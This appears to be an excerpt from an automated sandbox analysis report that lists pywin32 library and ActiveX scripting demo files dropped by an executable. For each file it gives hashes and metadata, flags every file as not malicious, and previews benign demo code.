Preview:	"""Support for stack-frames...Provides Implements a nearly complete wrapper for a stack frame.."""..import pythoncom.from win32com.server.exception import COMException..from . import axdebug, expressions, gateways.from .util import RaiseNotImpl, _wrap, trace..# def trace(*args):.# pass...class EnumDebugStackFrames(gateways.EnumDebugStackFrames):. """A class that given a debugger object, can return an enumerator. of DebugStackFrame objects.. """.. def __init__(self, debugger):. infos = []. frame = debugger.currentframe. # print "Stack check". while frame:. # print " Checking frame", frame.f_code.co_filename, frame.f_lineno-1, frame.f_trace,. # Get a DebugCodeContext for the stack frame. If we fail, then it. # is not debuggable, and therefore not worth displaying.. cc = debugger.codeContainerProvider.FromFileName(frame.f_code.co_filename). if cc is not

C:\recover\pw\Lib\site-packages\win32comext\axdebug\util.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3880
Entropy (8bit):	4.6127634119609935
Encrypted:	false
SSDEEP:	96:Hrgk3hAQPj1I3Hwi30BSj/T0FZ0SeRHNeE8kU:Hro3HwW0doLRHNeEw
MD5:	53D678C9FC15296555985838DF50E690
SHA1:	91D89ED3CC99A6FB4BFBFD6E76DE4E2733439E7A
SHA-256:	DCA8142BC92ABE4AECCEECC9F4574BE4CCC3B0F45AE63BFF1CF564D84321DB64
SHA-512:	0DF8021DB55E39D0867F98A5E7FB26F130FB3BEA3CB280FA80E13EF88DCBFECE383AD62D1F4EC444129DD431601D415D64F69D1801304DAF98A54863899C7BC7
Malicious:	false
Preview:	# Utility function for wrapping objects. Centralising allows me to turn.# debugging on and off for the entire package in a single spot...import os.import sys..import win32api.import win32com.server.util.import winerror.from win32com.server.exception import Exception..try:. os.environ["DEBUG_AXDEBUG"]. debugging = 1.except KeyError:. debugging = 0...def trace(*args):. if not debugging:. return. print(str(win32api.GetCurrentThreadId()) + ":", end=" "). for arg in args:. print(arg, end=" "). print()...# The AXDebugging implementation assumes that the returned COM pointers are in.# some cases identical. Eg, from a C++ perspective:.# p->GetSomeInterface( &p1 );.# p->GetSomeInterface( &p2 );.# p1==p2.# By default, this is _not_ true for Python..# (Now this is only true for Document objects, and Python.# now does ensure this...all_wrapped = {}...def _wrap_nodebug(object, iid):. return win32com.server.util.wrap(object, iid)...def _wrap_debug(object, iid)

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\asp\CreateObject.asp

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	494
Entropy (8bit):	4.950467557412256
Encrypted:	false
SSDEEP:	6:FUHFOaiAvxO62SE3ua0adaLVsT8Oc/Y7GAslF6PRT6QGtZCH7LWczhMSLurpNNF2:ylaUx7EtX89ACAy4hg+2cDeJFw3Ph3
MD5:	F2A1816F8A766DA6CA8710F78CD87A01
SHA1:	C64D0487D9938B9C27AFD0A27A32582C904FBBA7
SHA-256:	01BFD732042A9C625240F5497C2EADF37FC39C26F17FE8BDA1510E81A2FF8113
SHA-512:	EC0161C0EAF31885B6A4CE81D20285777B37A45B532F42B8F49FDFF6A1D0D905CE59410E22395BB322745239599C6ECE29623C3FAA7EF3163C69F18D24F12155
Malicious:	false
Preview:	<HTML>..<SCRIPT Language="Python" RUNAT=Server>..# Just for the sake of the demo, our Python script engine.# will create a Python.Interpreter COM object, and call that...# This is completely useless, as the Python Script Engine is.# completely normal Python, and ASP does not impose retrictions, so.# there is nothing the COM object can do that we can not do natively...o = Server.CreateObject("Python.Interpreter")..Response.Write("Python says 1+1=" + str(o.Eval("1+1")))..</SCRIPT>..</HTML>..

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\asp\caps.asp

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1315
Entropy (8bit):	5.376773374308319
Encrypted:	false
SSDEEP:	24:peB8PCGd0fnMYVdK1fXwAqfyBxbdLGLNWLheZI9zc:peBW6t2IABDMN8EZIlc
MD5:	E74AF176267B3EFCD55D9F2C0A7C79A0
SHA1:	3FCFD4109B54E5278A83924535E5A794C3ADAC02
SHA-256:	B0638B401EBACC0288601B8DCD9DFC05492B8130047153E2B3DAAA89A9D584EC
SHA-512:	611767B3242D4B1AAC1B0CBF2DDF230B84FF265A68DA97032ADD88185CFE485417EB35916412416D477F7447DEBDAE1B00B198A226C55669F40A3568CC1DB714
Malicious:	false
Preview:	<%@ Language=Python %>.<HTML>..<HEAD>..<BODY BACKGROUND="/samples/images/backgrnd.gif">..<TITLE>Python test</TITLE>..</HEAD>..<BODY BGCOLOR="FFFFFF">..<SCRIPT Language="Python" RUNAT=Server>.# NOTE that the <% tags below execute _before_ these tags!.Response.Write("Hello from Python<P>").Response.Write("Browser is "+bc.browser).import win32api # Should be no problem using win32api in ASP pages..Response.Write("<p>Win32 username is "+win32api.GetUserName()).</SCRIPT>..<BODY BGCOLOR="FFFFFF">..<% .import sys.print sys.path.from win32com.axscript.asputil import *.print "Hello".print "There".print "How are you".%>..<%bc = Server.CreateObject("MSWC.BrowserType")%>.<BODY BGCOLOR="FFFFFF">.<table border=1> .<tr><td>Browser</td><td> <%=bc.browser %> .<tr><td>Version</td><td> <%=bc.version %> </td></TR> .<tr><td>Frames</td><td> .<%Response.Write( iif(bc.frames, "TRUE", "FALSE")) %></td></TR> .<tr><td>Tables</td><td> .<%Response.Write( iif (bc.tables, "TRUE", "FALSE")) %></td></TR> .<tr><td>Back

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test.asp

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.6634420662057625
Encrypted:	false
SSDEEP:	3:mEL/92RNKvL+wWVKj5XAGdATLNZAbbL:mEQRNKvL9WVKSQsWL
MD5:	026BD95291EF0A682B4CFE39AF58260E
SHA1:	16D41B16A3271F3C47C5B48DF9C23C42F1554468
SHA-256:	8C9847520D55AD42055BBF62213AB1C2AFE0DFA403E0F0AF98C351DD85AA8C2E
SHA-512:	4C927C06C3F48EC93D034BC3D09F38ED34127DC45665AE419ED75A30F0C418526B91702C7AFBB95C4380F7575926350F5454267D043B85270AD74DA2E4E9007B
Malicious:	false
Preview:	<%@ language=python%>.<html>.<%Response.Redirect("test1.html")%>.</html>.

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test.html

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	156
Entropy (8bit):	4.90258935885804
Encrypted:	false
SSDEEP:	3:qVvzL5LJxLNA6zEO9hYLgMkADFqCkXAhTtKMLmUytE0BUYL0Hac4Nhtv0GL:qFzL5PNG+mkCkwhBXL/yLB/4HX43d0GL
MD5:	4697F4D1A8711448BB1D5BD6CF1231C2
SHA1:	A20D91CC916C86FDBB44EE7668B349A3D83AD4DB
SHA-256:	25F04589490D305CA3239E0B966C96223BA90D4B4FE28C90A99CA36499401F07
SHA-512:	D54624A111A4CA78FEDD61803DE9D431138DE9BC9C638721B9152060A73327CFF7EDF45E111BE519A941E2D3AA0A45C55B2E4CFB73031B664942792B2FDF8442
Malicious:	false
Preview:	<html>.<head>.<body>.GOT There.<script language=javascript>.location.href ="http://192.168.0.1/Python/interrupt/test.asp".</script>.</body>.</head>.</html>.

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test1.asp

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.6104528177240605
Encrypted:	false
SSDEEP:	3:mEL/gY1cRmAuLzLQzVKj5XAGdAMDzAbCtv0GL:mEsY1gmLLzLQzVKSQpDvd0GL
MD5:	D0CB165841523828342DF630383F186B
SHA1:	E665CE9AAD499376F3276ACDA634D3A22C34CAEC
SHA-256:	AB5ED95B776F29DD0400CD828711499CC10C7E6931EA20F8385FC533FD18C9FB
SHA-512:	E4C2F1E61D29B97B79F4C05B51868593DC0333135ED9127D77A53774FA4D3AAFB794A0882089A534C3BC52733AB668AF6B6DD57B5102E8724B72C5A4842712E2
Malicious:	false
Preview:	<%@ language =Python%>.<html>.<head>.<%Response.Redirect("test.html")%>.</head>.</html>.

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test1.html

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	157
Entropy (8bit):	4.983678484412114
Encrypted:	false
SSDEEP:	3:qVvzL5LJxXg31Gc/O9hYLgMkADFqCkXAhTtKMLmUyywWbUYL0Hac4Nhtv0Gb:qFzL5Tsr+mkCkwhBXL/yyv/4HX43d0Gb
MD5:	1B4E08E69BD9F5D8293027471D077F99
SHA1:	26977EFF9335A67752617B5157AE5B5BEC28724D
SHA-256:	2E979B43BE08A3D05A4FD1025535CB1A62FD8C13543DE349A3AB234D79A73F15
SHA-512:	C0CE32ECD4F248FC506F9F76B6C948DDA3EA0CEC522CE5BBC307E548697039AEC1E8B80F473A7404D0DF0D770D038C9465ADD32D73102C1DA8942E5FF6196391
Malicious:	false
Preview:	<html>.<head>.<body>.GOT HERE.<script language=javascript>.location.href ="http://192.168.0.1/Python/interrupt/test1.asp".</script>.</body>.</head>.</html>..

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\asp\tut1.asp

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	147
Entropy (8bit):	5.274402840972784
Encrypted:	false
SSDEEP:	3:IYEx2RmHF3ea37IhoyMllVKLHAVNIrqs/AAq8EZ3um3sHvUxu:FUHFOarooyMlPTNWqs/OZ3uhUA
MD5:	8168EBE418724E0C4EEEDB6665A4F6A4
SHA1:	FF31C99DE2936CF84811B14F124F39E8484B2A55
SHA-256:	70FC184DE0D27A737BBC7F80920182423754308A463972746D8402FD323EC13C
SHA-512:	4E9010B0F4EDEF9577463CA3CFDDCCFBC9E41EE980DD77BF06E3D6D4D6164F02046757C73775C924936B153B5F9F83B0E6B20B77D1308DAEED6F2039359A770C
Malicious:	false
Preview:	<HTML>..<SCRIPT Language="Python" RUNAT=Server>..for i in range(3,8):. Response.Write("<FONT SIZE=%d>Hello World!!<BR>" % i)..</SCRIPT>..</HTML>..

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\MarqueeText1.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	703
Entropy (8bit):	5.385246322101013
Encrypted:	false
SSDEEP:	12:oZhcbDgAGNbvIMW6fmIMjFxvW5+/nvYT6BmV3btH0eeWcmgWb54Z:lDvGNHeN5ZnvqV3bl0McKWZ
MD5:	10B0570EAD68CAADAF8D8DCD1068186B
SHA1:	064C8C607A92E3CE9890C5D5321FC1B87D1D2525
SHA-256:	82B95E73D9C392A9A73C11A70BE148A31AB0319C0A1C671A92B5CCAE2144DCDD
SHA-512:	16CB4A706979124E5934722D04FF9646FA61A1D13EDAD9EF350EEEC1EEA57EF5FB82E5C13663D5675E63B74EBE1A698CBD58A368F890E7FAABC0E766341FD643
Malicious:	false
Preview:	<HTML>.<HEAD>.<base target="text">.<TITLE> Internet Workshop </TITLE>.</HEAD>.<BODY leftmargin=8 bgcolor="#FFFFFF" VLINK="#666666" LINK="#FF0000">.<FONT FACE="ARIAL,HELVETICA" SIZE="2">..<P>.<BR>.<P><FONT FACE="ARIAL,HELVETICA" SIZE="5"><B>Python AX Script Engine</B></FONT>.<BR>Demo using the Marquee Control.<BR>Mark Hammond...<P>This is really quite a boring demo, as the Marquee control does everything. However, there is Python code behind the buttons that change the speed. This code is all of 2 lines per button!!!..<P>For more information on Python as an ActiveX scripting language, see..<P><B>Python</B>.<BR><A HREF="http://www.python.org">http://www.python.org</A>..</FONT>.</BODY>.</HTML>..

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\calc.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4041
Entropy (8bit):	5.5292605945184325
Encrypted:	false
SSDEEP:	96:wEp41y4GkCW/1G5dLeWN7B/i2axYSPSZ9wpZScPna0xz:p4Gk9/1GrLeW9B/Baxm9mpfrxz
MD5:	8086A77C0AFEBF5E4ECC92BCEAB7CD6F
SHA1:	73641104167D1C288744D4D5F3181FB96720CEE7
SHA-256:	A14C19EAC6B111B111EED2C921FFBA4C6568333A3709E47CBE7CC0F90775E428
SHA-512:	D7091C5558BC51A83F2CDE73B1EA89C6ABFA7116D9C5F1700284AFC014C584D49365F657E5B4C179E3F9EB99CBD4ACD2C38FA355EAB03220906CDCAFA1B61F27
Malicious:	false
Preview:	<HTML>.<HEAD><TITLE>Python Script sample: Calculator</TITLE></HEAD>.<BODY><FONT FACE=ARIAL SIZE=3> global default -->.<SCRIPT LANGUAGE="Python">.# globals.Accum = 0.0. # Previous number (operand) awaiting operation.FlagNewNum = 1 # Flag to indicate a new number (operand) is being entered.NullOp = lambda x,y: y.PendingOp = NullOp# Pending operation waiting for completion of second operand.numberButNames = ['Zero','One','Two','Three','Four','Five','Six','Seven','Eight','Nine']..def NumPressed(Num):..print "NumPressed", Num..global FlagNewNum..if FlagNewNum:...ax.document.Keypad.ReadOut.Value = Num...FlagNewNum = None..else:...if ax.document.Keypad.ReadOut.Value == "0":....ax.document.Keypad.ReadOut.Value = str(Num)...else:....ax.document.Keypad.ReadOut.Value= ax.document.Keypad.ReadOut.Value + str(Num)..# Dynamically create handlers for all the decimal buttons..# (ie, this will dynamically create "One_OnClick()"... etc handlers.for i in range(len(numberButNames)):..exec "def %s

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\dbgtest.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	190
Entropy (8bit):	5.084425142097858
Encrypted:	false
SSDEEP:	3:IgWbIKaJK9ZFUPZU3sHvb0kXQRNQHbv9KRPsEwrASvtALRmcsBOgyORSSMvPJHvM:FaaJ07wJNQrQHbspsnAAAL/mOtOU/vJM
MD5:	CB7D0FCEE05856D1023835587EC3D021
SHA1:	29D008C65FE21269E6300F6F4758170C3475A391
SHA-256:	0AC968776857FCD744836FF9AA02466F295D2C1440DFF3B02407298F09750546
SHA-512:	056C00EE117139C00FD13637A81EDCE44267DFB4770FDA08351664A94B07CF583E85800F72E27105D5DDB4E2399D63DD54D81FF0099514DFBDE76A9149CA7862
Malicious:	false
Preview:	<HTML>.<BODY>..<SCRIPT>.b="Hello There, how are you".</SCRIPT>..<SCRIPT LANGUAGE="Python">.print "Hello".a="Hi there".document.write("Hello<P>").alert("Hi there").</SCRIPT>..</BODY>.</HTML>.

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	445
Entropy (8bit):	5.509743771821659
Encrypted:	false
SSDEEP:	12:ojBasFkQqF5LChBBIQtIUsB8H9j5BazghrMcEIM8K:cBbsQhBBIQ9sBs5BagEIMv
MD5:	B9E46B1FEE8B67411F50F07C8B78104E
SHA1:	C2C851C147ED73C23072370405EC0074BD3F9829
SHA-256:	BFA80CCF9B8EF62DCE3285953AC2B86157B7B909EE133D282D4047C7C401DB43
SHA-512:	931983E8D6B59A479E1EA62F074D5F366800F2C186832997E992DD4554769DFC27125F9CD163889FDC5E4F867D591FDD430681254F3A1BC4721A58476086FA20
Malicious:	false
Preview:	<HTML>.<HEAD>.<TITLE>Python AXScript Demos</TITLE>.</HEAD>...<SCRIPT LANGUAGE="Python">.def Window_OnLoad():..pass.#.import win32traceutil.#.print "Frames are", ax.window.frames._print_details_().#.print "Frame 0 href = ", ax.frames.Item(0).location.href..def Name_OnLoad():..print "Frame loading"..</SCRIPT>..<FRAMESET FRAMEBORDER=1 COLS = "250, *">..<FRAME SRC="demo_menu.htm">..<FRAME SRC="demo_check.htm" NAME="Body">.</FRAMESET>...</HTML>..

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo_check.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	5.03331718520064
Encrypted:	false
SSDEEP:	24:wuUKbgrbSWAbAgKLe8am9Xg2jDNkDJd8G/8RhXqrG/SWAbAB3rW5LN8H5N8jHTUZ:HhMrCbbKLB/9wqDNkDE2cgbe3rALaDcY
MD5:	513B66C5350A228017229D30E8BA68DB
SHA1:	1DE44BE614ED286F6BAB3C67076DB2A006078EB6
SHA-256:	DCC1ABE787B23B894DDA8FBCACB12E2921AE22CD807D9BD5F9F75BAC55FA762E
SHA-512:	54A9E39F63DBF8F7B4D7A50A4AF8ED467AD0AF8BDBB9ECE7B3432CB9CD6D480D24E00BC78B4E0192A2BD34B80348BF872D4D212A1F3461A336453B690F099B52
Malicious:	false
Preview:	<HTML>.<H1>Engine Registration</H1>..<BODY>..<p>The Python ActiveX Scripting Engine is not currently registered.<p>..<p>Due to a <a href="http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html">privacy.concern</a> discovered in the engine, the use of Python inside IE has been disabled.</p>..Before any of the supplied demos will work, the engine must be successfully registered...<P>To install a version of the engine, that does work with IE, you can execute the Python program .<CODE>win32com\axscript\client\pyscript_rexec.py</CODE> must be run. You can either do this manually, or follow the instructions below.</p>..<H2>Register the engine now!</H2>..<p>If you have read about the <a href="http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html">privacy.concern</a> and still wish to register the engine, just follow the process outlined below:</p>.<OL>. <LI>Click on the link below. <LI><B>A dialog will be presented asking if the file should be opened or saved to di

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo_intro.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	1575
Entropy (8bit):	5.080918972088431
Encrypted:	false
SSDEEP:	48:FQOTqhqkbHG9GKCQWcOtQq/eXpfc3rH7yLHglD:FQOTqPmUuHq/eXu3L7yrglD
MD5:	DE941719772F8E078AF33D853683E729
SHA1:	09510CB85BA1D7E5FB3F8A30C74F97D48C3C3BAE
SHA-256:	3957B5998D0DE4E1EEBDADAB0332E76F0F22BC2424BA054C254D31A77F4ABEE2
SHA-512:	62BBA0B85EDDE11856720D9858CCF964DC8B0D8F436CB8D4B2B634E952A6912807BCCDFFEEEAC8BD3ED695637B0F49581BB269D60BB7CB63651053A57549CD01
Malicious:	false
Preview:	<HTML>.<BODY>..<H1>. <MARQUEE NAME="Marquee1" DIRECTION=LEFT BEHAVIOR=SCROLL SCROLLAMOUNT=10 SCROLLDELAY=200. >Python ActiveX Scripting Demonstation. </MARQUEE> .</H1>..<p>Congratulations on installing the Python ActiveX Scripting Engine</p>..<p>Be warned that there is a <a href="http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html">privacy.concern</a> with this engine. Please read this information, including how to disable the feature.</p>...<H3>Object model</H3>.<P>Except as described below, the object module exposed should be similar to that exposed.by Visual Basic, etc. Due to the nature of ActiveX Scripting, the details for each.host are different, but Python should work "correctly"...<P>The object model exposed via Python for MSIE is not as seamless as VB. The biggest limitation is .the concept of a "local" namespace. For example, in VB, you can.code <code>text="Hi there"</code>, but in Python, you must code .<code>MyForm.ThisButton.Text="Hi There"</code>. S

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo_menu.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	499
Entropy (8bit):	5.113549327216309
Encrypted:	false
SSDEEP:	12:Fn5UVTxIFjDTxdMmbUJ50OjQTxWBC/l6ul8FSTxHtVmHZ:F5UV+jDcv1jQWIM5S7VmHZ
MD5:	5CDB9F7FF68C05ACA2038D2E1DE09CBF
SHA1:	920E8063ECC6823588137E5B648440A49561A0D0
SHA-256:	04BB1E0354C1C50A8447981D3177D344A38EDEC4CF4887B22436313A51C3FE5B
SHA-512:	B38BDC4CBC1ABC0D1568780CCA90A1E115F08F12F9A235738AAEEFD5E0BB2F6A618A9C586EDBE3717B5F2012505173CBF9E77AA76499B7C75525A2D6AF7EFB57
Malicious:	false
Preview:	<HTML>.<BODY>.<H1>Scripting Demos</H1>.<P>An <A HREF="demo_check.htm" TARGET=Body>Introduction</A> to the .scripting engine...<P>The <A HREF="calc.htm" TARGET=Body>Calculator Demo</A> is a very .cool sample written by Aaron Watters...<P><A HREF="mouseTrack.htm" TARGET=Body>Mouse track</A> is another of .Aaron's samples, and shows how fast the Python engine is!..<P>The <A HREF="foo2.htm" TARGET=Body>foo2 sample</A> is mainly used .for debugging and testing, but does show some forms in action....

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\docwrite.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	467
Entropy (8bit):	5.314931409533073
Encrypted:	false
SSDEEP:	12:FHh8D0bYB+zKc0NkQDv5pU+hhr5pRL+O4b0ej:FHh8q1Gc0NjHTDHRf4b0ej
MD5:	146060D48B70277B1365B7301EC1C890
SHA1:	3941BC9CDA81CC0C3EDDFD51736B5A33B49AB463
SHA-256:	3B1324A950E5AA92BA91E99F8C8A0F32EF0244516F415E7E97469CE4218B4292
SHA-512:	1ED64D9CE9CB618BBCE48C2B363DF9731A1DEA11FED6E3503183E01C2DEE1F0E4F065C74CC3CFD536CF6F52C934A0A04C5AC7B2597CF22EFA66AE3D946ACEE1C
Malicious:	false
Preview:	<HTML>.<BODY>.A page generated by Python..<SCRIPT LANGUAGE="XXXVBScript">.document.open().document.writeLn "<P>Hello from VBScript".document.close().</SCRIPT>..<SCRIPT LANGUAGE="Python">.ax.document.write("<P>Hello from Python").ax.document.close().ax.document.open().ax.document.write("<P>Hello again from Python").ax.document.close()..def Window_OnLoad():..pass.#.ax.document.write("<P>Hello from Load from Python").#.ax.document.close().</SCRIPT>..</BODY>.</HTML>.

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\foo2.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3486
Entropy (8bit):	5.461870317678001
Encrypted:	false
SSDEEP:	96:FqPY6s35GwIDbC/SNFQE0g2lrtiNdd3VK4Kj:erg+DfEEyR
MD5:	CD71C263A8F1DEB2839CDB2106E39C36
SHA1:	9E856175A44D70994846A715A0D8CDCFD2B60151
SHA-256:	6792AA2EE8E68E152703F2215962648A297DF34713A0431D6B278C7DA669A928
SHA-512:	66C8FD17EB25127E58BBF4491DC8A602522D0ACC342EE7BE12202E972458A9EF0BEA822D98481578649D44FE191F2EF9CC4151117C2CA140AEF21EE7871339CB
Malicious:	false
Preview:	<HTML>.<BODY>..<SCRIPT>.b="Hello".</SCRIPT>..<SCRIPT LANGUAGE="Python">.import win32traceutil.import sys.print "Hello".a="Hi there".print "Location is", document.location.document.write("Hello", " from version ", 2, " of the Python AXScript Engine","<P>").document.writeln("This is Python", sys.version)..</SCRIPT>..<P>The caption on the first button is set by the Window Load code. Clicking.that button changes the text in the first edit box...<P>The second button changes its own text when clicked...<P>The fourth button calls a global function, defined in the global 'script' scope,.rather than the 'MyForm' scope...<FORM NAME="MyForm" METHOD="GET">. <SCRIPT LANGUAGE="Python">.print "Hello from in the form". </SCRIPT>. <INPUT NAME="Button1" TYPE="Button" OnClick="MyForm.Text1.value='Hi'" LANGUAGE="Python">. <INPUT TYPE="TEXT" SIZE=25 NAME="Text1">. <INPUT NAME="Button2" TYPE="Button" VALUE="Click for 'Hi'" OnClick="a='Howdy'; MyForm.Button2.value='Hi'" LANGUAGE="Python">. <INPU

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\form.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	481
Entropy (8bit):	5.325207019972113
Encrypted:	false
SSDEEP:	12:F72hfsrs38skQlGMAMCoqNkQ7hoZpmejIygNtIej:F74fqMBRCjNFqYeMyI6ej
MD5:	C497ED8638CC649FC1069C01C1B05229
SHA1:	A0D3A07BDD5C4D84C076BF260280A8AC0090C447
SHA-256:	78D2A2F62ACF7F5220E6A049819955B1FF86B0E4D7448DC984D04DE466465AC6
SHA-512:	11438573C3ABA0715699DB997A16842454FDD1EBF85C9C93DE47B9EAE0BD5151346D30916C5AE220E3E4A98C19FE78A2B11DA38434520D4D16FBC83EF18996F0
Malicious:	false
Preview:	<HTML>.<BODY>..<FORM NAME="TestForm" METHOD="POST" >. <INPUT TYPE="TEXT" SIZE=25 NAME="Name">Name<br>. <INPUT TYPE="TEXT" SIZE=25 NAME="Address">Address<br>. <INPUT TYPE=SUBMIT.</FORM>..<SCRIPT LANGUAGE="Python" for="TestForm" Event="onSubmit">.return Validate().</SCRIPT>..<SCRIPT LANGUAGE="Python">..def Validate():..if not TestForm.Name.Value or not TestForm.Address.Value:...ax.alert("You must enter a name and address.")...return 1..return 0..</SCRIPT>..</BODY>.</HTML>.

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\marqueeDemo.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.665134723888381
Encrypted:	false
SSDEEP:	24:lDvGNHeq3rTcqPQ4TLU9Le0HuO0Kmswp2hL4Lnl0LzW:lDe1TJIu0Jlmss2E+e
MD5:	AD106320D0C0559B8209C808878D7F2D
SHA1:	1E04B3A9CEC5AFF19AACFA26784A6761393E7025
SHA-256:	4341D3983EF74E03EB27443CADC0A40B143ABE59ED4E81DD2A02BE75C1E6EFCC
SHA-512:	BCCC294D0486C27EEE885E6F1D75905F9862BC546BAC73FF0215A22AB8097E591967500DB03A5C2373C45A52E5CCCAF2331E38ECD3180F79A7B230521FB9A08D
Malicious:	false
Preview:	<HTML>.<HEAD>.<base target="text">.<TITLE> Internet Workshop </TITLE>.</HEAD>.<BODY leftmargin=8 bgcolor="#FFFFFF" VLINK="#666666" LINK="#FF0000">.<FONT FACE="ARIAL,HELVETICA" SIZE="2">..<P>.<BR>.<P><FONT FACE="ARIAL,HELVETICA" SIZE="5"><B>Marquee Demo</B></FONT>..<P>...<OBJECT ..ID="Marquee1" . .CLASSID="CLSID:1A4DA620-6217-11CF-BE62-0080C72EDD2D"..CODEBASE="/workshop/activex/gallery/ms/marquee/other/marquee.ocx#Version=4,70,0,1112"..TYPE="application/x-oleobject"..WIDTH=100% ..HEIGHT=80.>..<PARAM NAME="szURL" VALUE="marqueeText1.htm">..<PARAM NAME="ScrollPixelsX" VALUE="0">. .<PARAM NAME="ScrollPixelsY" VALUE="-5">. .<PARAM NAME="ScrollDelay" VALUE="100">. .<PARAM NAME="Whitespace" VALUE="0">.</OBJECT>..<br> <br>..<INPUT TYPE="Button" NAME="btnFaster" VALUE="Faster">.<INPUT TYPE="Button" NAME="btnNormal" VALUE="Normal">.<INPUT TYPE="Button" NAME="btnSlower" VALUE="Slower">..<SCRIPT Language="Python">..def btnFaster_Onclick():..ax.Marquee1.ScrollDelay = 0..def btnNormal_Oncli

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\mousetrack.htm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2219
Entropy (8bit):	5.348133396458538
Encrypted:	false
SSDEEP:	48:IBSsk5PN2NT4pkNqkVA/Jobzj6jaVYWLaxV7UG5HtGkZRFyCpiT:ScNX6VBzj6jaVFm7UG5HXZRZiT
MD5:	189FD34C610096EB188C993BCD6F5057
SHA1:	EA37E944DDC9A007A468E0C4D61B61D250C95939
SHA-256:	1501479124FCBED9474A55DDBAE4964B9791BF3C828D89D523999201160F2478
SHA-512:	A989C96CCBFD00AC3F1724FE7F4505361518852F882756C2B00101A47DC1098CD9418B40F80F091C2DB467CCA6F5D166D74EF7324E01AF77A34D8D4B26BCB081
Malicious:	false
Preview:	<HTML>..<HEAD><TITLE>Python Scripting sample: Mouse tracking</TITLE></HEAD>.<BODY BGCOLOR="#FFFFFF" TOPMARGIN=8>.<FONT SIZE=5>.<TABLE Border=0><TR VALIGN=MIDDLE><TD>.<A ID="Image"> <IMG .SRC="file:..\..\..\..\..\win32com\html\image\pycom_blowing.gif" .ALT="Clickable Map Image" HEIGHT=113 WIDTH=624 BORDER=0></A>..</TD></TR>. <TR><TD> </TD></TR>. <TR VALIGN=MIDDLE><TD VALIGN=MIDDLE ALIGN=CENTER><FONT SIZE=5><INPUT .TYPE="text" NAME="TxtLinkDescription" SIZE=50></FONT></TD></TR></TABLE>.</FONT>..<P>.A mouse tracking demo. Move the mouse over the image above.....<SCRIPT Language="Python">. .# Remember the last location clicked.#print "here we go", 1.mx = my = 0..# class for rectangle testing.class rect:. def __init__(self, lowx, lowy, upx, upy, desc, url):. self.lowx, self.lowy, self.upx, self.upy, self.desc, self.url = \. lowx, lowy, upx, upy, desc, url. def inside(self, x, y):.# print (x,y), "inside", self.desc,. result = self.lowx <= x <= self.up

C:\recover\pw\Lib\site-packages\win32comext\axscript\Demos\client\ie\pycom_blowing.gif

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
